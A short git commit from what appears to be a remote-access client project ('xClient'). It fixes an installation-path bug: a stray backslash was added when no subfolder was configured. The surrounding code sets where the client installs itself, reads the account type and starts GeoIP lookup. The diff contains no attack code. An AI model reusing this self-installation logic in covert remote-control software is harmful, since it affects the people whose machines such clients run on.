Fixed #68 (Installation bug)

This commit is contained in:
MaxXor 2015-04-25 18:49:52 +02:00
parent 01cfe5076c
commit 7a77279cab
1 changed files with 1 additions and 1 deletions

View File

@ -97,7 +97,7 @@ namespace xClient
SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
SystemCore.MyPath = Application.ExecutablePath;
SystemCore.InstallPath = Path.Combine(Settings.DIR, Settings.SUBFOLDER + @"\" + Settings.INSTALLNAME);
SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
SystemCore.AccountType = SystemCore.GetAccountType();
SystemCore.InitializeGeoIp();